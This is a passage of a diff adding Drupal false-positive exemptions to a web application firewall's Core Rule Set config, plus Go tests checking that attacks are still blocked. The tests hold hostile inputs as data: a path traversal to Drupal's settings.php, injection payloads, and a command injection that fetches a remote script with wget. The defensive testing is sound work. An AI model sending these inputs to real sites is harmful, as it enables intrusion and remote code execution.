ctl:ruleRemoveTargetById=932120;ARGS:url" + +# The fields below are in bodies. Saving content sends its title, summary, tags, +# address, revision note, comment subject, media name and image text, which +# skip the same four rules there. A title such as "python3, ls -la and .htaccess" +# refused saving a node. +SecRule REQUEST_FILENAME \ + "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit)|media/(?:add/[^/]+|[0-9]+/edit))$" \ + "id:900810,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:title|subject|name|body|revision_log|path|field_tags|field_)/ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:(?:title|subject|name|revision_log|revision_log_message)\[0\]\[value\]|body\[0\]\[summary\]|path\[0\]\[alias\]|field_tags\[target_id\]|field_[a-z0-9_]+\[0\]\[(?:alt|title)\])$/" + +# The rich text editor sends HTML in body and comment_body. Each of these rules +# refused saving a node or a comment whose HTML held an image and a code block +# with a shell script, an SQL query and JavaScript, so they skip those fields: +# 930120, 932120, 932125, 932140, 932160, 932230, 932235, 932250, 932260, +# 934100, 941160, 941390, 942170 and 942230. +SecRule REQUEST_FILENAME \ + "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:node/(?:add/[^/]+|[0-9]+/edit)|comment/(?:reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?|[0-9]+/edit))$" \ + "id:900811,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:comment_)?body\[/ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932125;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932140;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932160;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932230;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932235;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=934100;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=941160;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=941390;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=942170;ARGS:/^(?:comment_)?body\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=942230;ARGS:/^(?:comment_)?body\[0\]\[value\]$/" + +# A JSON:API client saving a node or a comment sends the same HTML in the +# JSON field body.value or comment_body.value, which skips the rules above. A +# title, summary, subject, name, revision note, block description or tag +# description beside it skips 930120, 932120, 932250 and 932260. A tag named +# python3 refused saving it. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/jsonapi/" \ + "id:900812,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^json\.data\.attributes\./ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^json\.data\.attributes\.(?:title|subject|name|revision_log|info|description\.value|body\.summary|(?:comment_)?body\.value)$/,\ + ctl:ruleRemoveTargetById=932230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=932235;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=932125;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=932140;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=932160;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=934100;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=941160;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=941390;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=942170;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/,\ + ctl:ruleRemoveTargetById=942230;ARGS:/^json\.data\.attributes\.(?:comment_)?body\.value$/" + +# Signing in, in name and pass or the JSON fields of the same names. A +# password holds any characters: +# 930120: a password ending in /etc/hosts, or a name of .htaccess +# 932120: a password or a name of powershell +# 932250: a password or a name of ls -la +# 932260: a password or a name starting with python3 +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \ + "id:900813,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:json\.)?(?:name|pass)$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?(?:name|pass)$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^(?:json\.)?(?:name|pass)$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/" + +# The password, pass, skips each rule that random passwords set off. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \ + "id:900819,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/" + +# The passwords when signing up, changing the password and adding a user skip +# the same rules: +# pass[pass1], pass[pass2], current_pass: the forms at /user/register, +# /user//edit and /admin/people/create +# json.pass.value, json.pass.0.value, json.pass.0.existing: a client signing up +# or changing the password in Drupal's JSON format +# json.data.attributes.pass.value, .existing: a JSON:API client doing the same +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+(?:/edit)?|admin/people/create|jsonapi/user/user(?:/[^/]+)?)$" \ + "id:900820,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=920540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=921200;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=930100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=930110;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=932130;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=932160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=932270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=932280;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=932330;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=932340;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=932370;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=933100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=933135;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=933180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=933210;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=941100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=941120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=941160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=941180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=942100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=942151;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=942190;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=942230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=942290;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=942320;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=942540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=942550;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\ + ctl:ruleRemoveTargetById=944150;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/" + +# A person's name and email address, when signing up, when editing an +# account and when commenting without an account. A name of python3 refused +# signing up, and python3@example.com refused saving an account. An address +# keeps 932250, which no recorded address set off. +SecRule REQUEST_FILENAME \ + "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+/edit|comment/reply/[^/]+/[0-9]+/[^/]+(?:/[0-9]+)?)$" \ + "id:900814,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:name|mail)$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:/^(?:name|mail)$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^(?:name|mail)$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:name,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:name|mail)$/" + +# Saving a tag, a custom block or a contact message sends its name, +# description, block description, body, subject or message, which skip the +# same four rules. A tag named python3 refused saving it. +SecRule REQUEST_FILENAME \ + "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:admin/structure/taxonomy/manage/[^/]+/add|taxonomy/term/[0-9]+/edit|block/add/[^/]+|admin/content/block/[0-9]+|contact(?:/[^/]+)?|user/[0-9]+/contact)$" \ + "id:900815,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:name|description|info|body|subject|message)\[/ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932120;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:name|description|info|body|subject|message)\[0\]\[value\]$/" + +# A client saving a node in Drupal's JSON format sends its title in the JSON +# field title.0.value: PATCH /node/2?_format=json with a title of python3. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/node/[0-9]+$" \ + "id:900816,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^json\.title\./ "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:json.title.0.value,\ + ctl:ruleRemoveTargetById=932120;ARGS:json.title.0.value,\ + ctl:ruleRemoveTargetById=932250;ARGS:json.title.0.value,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.title.0.value" + +# A client resetting a password in Drupal's JSON format sends the account in +# the JSON field name: POST /user/password?_format=json with a name of python3. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \ + "id:900817,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:json.name "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:json.name,\ + ctl:ruleRemoveTargetById=932120;ARGS:json.name,\ + ctl:ruleRemoveTargetById=932250;ARGS:json.name,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.name" + +# The same reset may name the account by its address in the JSON field mail: +# POST /user/password?_format=json with a mail of python3@example.com. An +# address skips only the two rules the recorded addresses set off. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \ + "id:900818,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:json.mail "@eq 0" \ + "ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.mail" + +SecMarker END_DRUPAL diff --git a/internal/coreruleset/drupal_test.go b/internal/coreruleset/drupal_test.go new file mode 100644 index 0000000..904fd9c --- /dev/null +++ b/internal/coreruleset/drupal_test.go @@ -0,0 +1,615 @@ +package coreruleset_test + +import ( + "net/http" + "net/url" + "slices" + "testing" + + "sneak.berlin/go/smallwebwaf/internal/coreruleset" +) + +// drupalThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default. +const drupalThreshold = 5 + +// drupalAddArticle is Drupal's form for a new article. +const drupalAddArticle = "/node/add/article" + +// drupalSignIn is Drupal's sign-in page. +const drupalSignIn = "/user/login" + +// drupalJSONSignIn is Drupal's sign-in in its JSON format. +const drupalJSONSignIn = "/user/login?_format=json" + +// drupalRegister is Drupal's sign-up form. +const drupalRegister = "/user/register" + +// drupalJSONRegister is Drupal's sign-up in its JSON format. +const drupalJSONRegister = "/user/register?_format=json" + +// drupalJSONPasswordReset is Drupal's password reset in its JSON format. +const drupalJSONPasswordReset = "/user/password?_format=json" + +// drupalTagForm is Drupal's form for a new tag. +const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add" + +// drupalEditAccount is Drupal's form for editing an account. +const drupalEditAccount = "/user/2/edit" + +// drupalName is the field for a person's name, as the start of a form body. +const drupalName = "name=" + +func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) { + t.Parallel() + + crs := servingApps(t, map[string][]string{ + giteaHost: {gitea}, otherHost: {"drupal"}, + }) + + // A search, which only Drupal's fixes let through. + search := get("/search?keys=python3") + + wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{}) + wantResult(t, crs, withHost(search, giteaHost), matched(932260)) +} + +// drupalAttacks are an SQL injection, a path traversal and a script +// injection, as a query value. +// +//nolint:gochecknoglobals // a constant cannot be a list +var drupalAttacks = []string{ + sqlInjection, + "..%2F..%2Fsites%2Fdefault%2Fsettings.php", + scriptInjection, +} + +func TestDrupalAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) { + t.Parallel() + + crs := atDefaults(t) + + for _, attack := range drupalAttacks { + for _, target := range []string{ + "/?id=", + "/admin/content?id=", + "/admin/content?title=", + "/admin/content/media?name=", + "/admin/people?user=", + "/admin/content/files?filename=", + "/admin/content/files?filemime=", + "/admin/content/block?info=", + "/admin/content/comment?subject=", + "/admin/content/comment?author_name=", + "/admin/config/search/path?search=", + "/admin/content?destination=", + "/admin/foo?q=", + "/node/1/edit?destination=", + "/user/login?destination=", + "/search/node?keys=", + "/search?keys=", + "/entity_reference_autocomplete/user/default/KEY?q=", + "/jsonapi/node/article?filter%5Btitle%5D=", + "/jsonapi/node/article?filter%5Bf%5D%5Bcondition%5D%5Bvalue%5D=", + "/user/password?name=", + "/media-library?name=", + "/views/ajax?name=", + "/ckeditor5/basic_html/entity-link-suggestions?q=", + "/block-category/autocomplete?q=", + "/media/oembed?url=", + "/big_pipe/no-js?destination=", + "/node/2/revisions/3/revert?destination=", + "/node/2/revisions/3/delete?destination=", + "/block/add/basic?destination=", + "/fr/admin/content?title=", + "/fr/search/node?keys=", + } { + if got := inspect(t, crs, get(target+attack)); got.Score < drupalThreshold { + t.Errorf("%s%s let through: %+v", target, attack, got) + } + } + } +} + +func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + const reply = "/comment/reply/node/1/comment" + + for _, attack := range drupalAttacks { + for _, sent := range []struct{ target, body string }{ + {drupalAddArticle, "title%5B0%5D%5Bvalue%5D=" + attack}, + {drupalAddArticle, "body%5B0%5D%5Bvalue%5D=" + attack}, + {"/node/1/edit", "body%5B0%5D%5Bsummary%5D=" + attack}, + {reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack}, + {reply, "subject%5B0%5D%5Bvalue%5D=" + attack}, + {reply, drupalName + attack}, + {drupalSignIn, drupalName + attack}, + {"/fr/user/login", drupalName + attack}, + {drupalRegister, drupalName + attack}, + {drupalEditAccount, "mail=" + attack}, + {drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack}, + {drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack}, + {"/block/add/basic", "info%5B0%5D%5Bvalue%5D=" + attack}, + {"/admin/content/block/1", "body%5B0%5D%5Bvalue%5D=" + attack}, + {"/contact/feedback", "subject%5B0%5D%5Bvalue%5D=" + attack}, + {"/user/2/contact", "message%5B0%5D%5Bvalue%5D=" + attack}, + } { + r := request{http.MethodPost, sent.target, []string{formData}} + + got, _ := inspectBody(t, crs, r, sent.body) + if got.Score < drupalThreshold { + t.Errorf( + "POST %s %q let through: %+v", + sent.target, + sent.body, + got, + ) + } + } + } +} + +// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of +// TestDrupalAttacksAreRefusedInTheExcludedBodyFields. +func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + for _, attack := range []string{injection, scriptTag} { + for _, field := range []string{ + `"title":"` + attack + `"`, + `"body":{"value":"` + attack + `"}`, + `"name":"` + attack + `"`, + `"revision_log":"` + attack + `"`, + `"info":"` + attack + `"`, + `"description":{"value":"` + attack + `"}`, + } { + r := request{ + http.MethodPost, "/jsonapi/node/article", + []string{"Content-Type: application/vnd.api+json"}, + } + body := `{"data":{"attributes":{` + field + `}}}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } + } + + r := request{ + http.MethodPatch, + "/node/2?_format=json", + []string{jsonBody}, + } + body := `{"title":[{"value":"` + attack + `"}]}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("PATCH %s %s let through: %+v", r.target, body, got) + } + + r = request{http.MethodPost, drupalJSONSignIn, []string{jsonBody}} + body = `{"name":"` + attack + `","pass":"example"}` + + got, _ = inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } + } +} + +func TestDrupalPasswordPasses(t *testing.T) { + t.Parallel() + + for _, r := range []request{ + {http.MethodPost, drupalSignIn, []string{formData}}, + {http.MethodPost, drupalJSONSignIn, []string{jsonBody}}, + } { + t.Run(r.target, func(t *testing.T) { + t.Parallel() + + wantRandomPasswordsPass(t, r, "pass") + wantPasswordAttacksPass(t, r, "pass") + wantPasswordAttacksRefused(t, r, "pass") + }) + } +} + +func TestDrupalPasswordFieldsPass(t *testing.T) { + t.Parallel() + + const value = "pass.0.value" + + pass := []string{"pass[pass1]", "pass[pass2]"} + + wantPasswordFieldsPass(t, []passwordFields{ + {drupalRegister, formData, pass}, + {"/fr/user/register", formData, pass}, + { + "/user/1/edit", + formData, + []string{"current_pass", pass[0], pass[1]}, + }, + {"/admin/people/create", formData, pass}, + {drupalJSONRegister, jsonBody, []string{value}}, + {drupalJSONRegister, jsonBody, []string{"pass.value"}}, + { + "/user/1?_format=json", + jsonBody, + []string{value, "pass.0.existing"}, + }, + { + "/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody, + []string{ + "data.attributes.pass.value", + "data.attributes.pass.existing", + }, + }, + }) +} + +func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + for _, attack := range []string{ + injection, + scriptTag, + shellCommand, + `../../sites/default/settings.php`, + } { + for _, field := range []string{"name", "mail"} { + r := request{ + http.MethodPost, + drupalJSONPasswordReset, + []string{jsonBody}, + } + body := `{"` + field + `":"` + attack + `"}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } + } + } + + // An address keeps 932250, which refuses ls -la, and 930120, which + // refuses system file names. + for _, kept := range []struct { + value string + rule int + }{ + {"ls -la", 932250}, + {".htaccess@example.com", 930120}, + } { + r := request{ + http.MethodPost, + drupalJSONPasswordReset, + []string{jsonBody}, + } + body := `{"mail":"` + kept.value + `"}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold || + !slices.Contains(got.RuleIDs, kept.rule) { + t.Errorf( + "POST %s %s: %+v, want %d among them", + r.target, + body, + got, + kept.rule, + ) + } + } +} + +// drupalCommandAttack is a shell command that only 932230 and 932235 refuse +// on the fields that skip the other command rules, as a query value. +const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh" + +func TestDrupalCommandAttackIsRefusedOutsideDestination(t *testing.T) { + t.Parallel() + + crs := 